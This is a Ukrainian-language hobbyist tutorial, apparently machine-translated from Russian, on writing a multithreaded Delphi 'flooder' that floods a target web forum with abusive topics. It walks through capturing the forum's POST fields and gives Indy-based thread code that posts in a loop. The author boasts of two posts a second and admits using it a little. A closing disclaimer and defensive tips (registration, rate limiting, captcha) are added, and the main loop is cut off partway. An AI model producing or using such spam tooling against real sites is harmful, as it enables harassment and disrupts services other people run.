пишемо флудер

Гаразд, вистачить нюні розпускати, пора до справи. Отже, наш флудер буде залишати на сайті кривдника купу повідомлень, на зразок міністр освіти - ***. А вірніше буде створювати купу тим з відповідним написом. Писати флудер будемо на Delphi, не без допомоги Indy, знаю WinSock крутіше, але чому Фленово можна писати поштовик за допомогою компонентів, а мені флудер не можна? (Хто читав Delphi очима] [Акер, той мене зрозуміє).

Тепер у нас два варіанти розвитку подій.
1 варіант ми ставимо HTTP сніфер. Наприклад, насадку на IE, тут тобі допоможе гугл і власний мозок.
2. Мені качати сніфер було лінь, та й світитися на форумі не хотілося =). З цього я зберіг сторінку на гвинт, запустив Денвер, створив віртуальний хост і запхав сторінку туди. Далі в тій же папці що і збережена сторінка була створена файлик
proba.php (навіщо побачиш потім). Далі в опері відкрив сорци сторінки і запустив пошук наступної фрази: / obr / forum /? Action = forum_add_messageforum_id = 30- це шлях до скрипу, який відповідає за створення теми і поміняв його на /proba.php (так ось навіщо цей загадковий файлик = )). Так тепер в файлик proba.php я засунув такий код:


ця штука просто виводить на екран все, що прийшло в POST запиті =). Потім відкрив в опері тільки що створену сторінку, заповнив форму і побачив, що на сервер передається наступне:
mes_author_name = vovchik // вказаний нік
mes_author_mail=*****@***.ru // вказаний Мильніков
user_login = // логін (можна не заповнювати)
user_password = // пароль (можна не заповнювати)
mes_subject = ЄДІ в топку // тема
mes_text = ***** // повідомлення

в загальному, все зрозуміло залишилося струму зробити те ж саме, але за допомогою Delphi. Отже, ми створимо н-е число потоків (в Delphi кожен потік це об'єкт і це сильно нам допоможе). Кожен потік буде «бомбити» наш сайт твоїми повідомленнями. Уявіть, у мене з вихідним каналом у вигляді GPRS і числом потоків в 50 штук прога залишала 2 повідомлення в секунду! Добре, що я вчасно зупинився! Так, тепер давайте подивимося, як оре це «чудо». Для цього киньте на форму компонент TIdHTTP з вкладки Indy Clients. Нам це потрібно щоб знати, які файли будуть підключені до нашого проекту. Так тепер створіть новий потік (File-> New-> Other-> Thread Object). Тепер збережіть проект собі на гвинт (це ОБОВ'ЯЗКОВИЙ крок). Так тепер бачите в файлі потоку блок uses? скопіюйте туди всі, з такого ж блоку у файлі, де описується головна форма (ось навіщо ми кидали непотрібний компонент на форму). Так тепер подивіться на опис класу вашого потоку ви повинні побачити щось схоже на:

type
TFluder = class (TThread)
private

protected
procedure Execute; override;
end;

поміняйте все на:
type
Fluder = class (TThread)
IdHTTP1: TIdHTTP;
IdCookieManager1: TIdCookieManager;
procedure IdHTTP1Redirect (Sender: TObject; var dest: String;
var NumRedirect: Integer; var Handled: Boolean;
var VMethod: TIdHTTPMethod);
private

protected
procedure Execute; override;
end;
(Тільки не забудьте, що ім'я потоку у вас може бути іншим!)
далі тиснемо ctrl + Shift + C і отримуємо таку ось «заготовку» події Redirect вона нам стане в нагоді:
procedure Fluder.IdHTTP1Redirect (Sender: TObject; var dest: String;
var NumRedirect: Integer; var Handled: Boolean;
var VMethod: TIdHTTPMethod);
begin
Handled: = TRUE;
end;

як ти зрозумів, нам потрібно буде в заготовку дописати струму один рядок:
Handled: = TRUE; це потрібно що б після того як ми отримаємо редирект від сервера ми його правильно обробили =).

далі ми маємо процедуру procedure Fluder.Execute; це та процедура, з якої почнеться виконання нашого потоку. Тут ми і будемо «бомбити» сервер. Але перед цим теорія!

Отже, компонент TIdHTTP у нас лежить не на формі, а значить, не буде створено автоматично його доведеться створити «в ручну», так само як і звичайний об'єкт. Але толку від нього буде мало, адже він повинен буде ще щось передати, для цього у нього є два методи function Post (AURL: string; const ASource: TStrings): string;

і function TIdCustomHTTP.Get (AURL: string): string;
перший має два параметри, а другий струму один. Обидва вони повернуть те, що повернув нам сервер після запиту. Якщо у методу GET все зрозуміло, там все дані передаються через єдиний параметр, то у методу POST потрібні пояснення, другий параметр потрібен для передачі даних через POST запит, і зберігатися вони повинні в об'єкті TStrings або його нащадку (TStringList) ;. Думаю все зрозуміло і пояснено, так що в бій мій друг. Тепер в процедурі Execute сміливо став такий код:
procedure Fluder.Execute;
var
txt: TStringList;
begin
IdHTTP1: = TIdHTTP.Create (NIL); // Це наш HTTP клієнт
IdCookieManager1: = TIdCookieManager.Create (NIL); // Менеджер Куков іноді він потрібен

txt: = TStringList.Create; // Тут буде POST запит

while (Terminated = False) do // собсна головний цикл
begin
txt.add ( 'mes_author_name =' + NameStr); // Змінні
txt.Add ( 'mes_author_mail =' + MailStr);
txt.Add ( 'user_login =');
txt.Add ( 'user_password =');
txt.Add ( 'mes_subject =' + TemaStr);
txt.Add ( 'mes_text =' + TextStr);

тепер ми майже готові нам потрібно тільки кинути на форму кнопку і поставити до неї такий код:
procedure TForm1.Button1Click (Sender: TObject);
var
i: integer; // лічильник
Cout: integer; // число потоків
begin

try
Cout: = StrToInt (Edit1.Text); // намагаємося дізнатися число потоків з Edit а
except
ShowMEssage (Вводь вірно! ');
exit;
end;

NameStr: = NickEdit.Text; // думаю ти зрозумів що всі змінні я беру з Editов
MailStr: = MailEdit.Text;
TemaStr: = TemaEdit.Text;
TextStr: = MessEdit.Text;

SetLength (Potoks, Cout); // Міняю довжину масиву покажчиків

for i: = 0 to Cout-1 do // активують флуд
begin
Potoks [i]: = Fluder.Create (true);
Potoks [i] .Resume;
Potoks [i] .Priority: = tpLower;
end;
end;

тут ми створюємо енну кількість потоків і хірячім ними сайт недруга!
Перед компіляцією додай в глобальні змінні ось це:
var
Form1: TForm1;
Potoks: array of Fluder; // Масив покажчиків на потоки
NameStr, MailStr, TemaStr, TextStr: string; // Рядки де зберігаються змінні для // передачі на сервер я їх беру з Editов

думаю, ти сам у всьому розберешся, якщо струму подумаєш, це звичайно не ідеальний метод і підійде він тільки для певної кількості форумних движків, але і це вже здорово!
Мораль: пам'ятай флуд - це не гуманно! і не красиво цього варто навчитися, щоб захищатися від цього! але не більше того, я не в якому разі не хочу спонукати тебе до дії я лише хочу вказати на не вдосконалюються деяких сайтів.

Інформація до роздумів: Отже, чому мені вдалося написати флудер так швидко? Винен в цьому звичайно адміністратор порталу, то подоба на форум, що поставив адмін, не має ніяких перешкод для таких флудерастов як я =). Право залишати повідомлення на форумі повинні мати тільки зареєстровані користувачі! причому движок не повинен приймати більше 2-3 повідомлень за хвилину від одного і того ж користувача, людина фізично не зможе написати більше повідомлень! При реєстрації користувача повинна бути капча, вона звичайно теж не надійна, але це захистить від більшості таких «атак». Загалом, не робіть таких помилок.

Happy End. кст. нам все ж скасували ЄДІ з літрі тепер ми будемо здавати її в традиційній формі, і добре що я не встиг застосувати флудер за призначенням! (хіба що зовсім трохи =)).
Пару слів модератору:
Я заздалегідь перепрошую за свій Російська мова, я вище трійки по ньому ніколи не мав, і всі контрольні нахабно списував у однокласниць, так що перепрошую ...

Схожі статті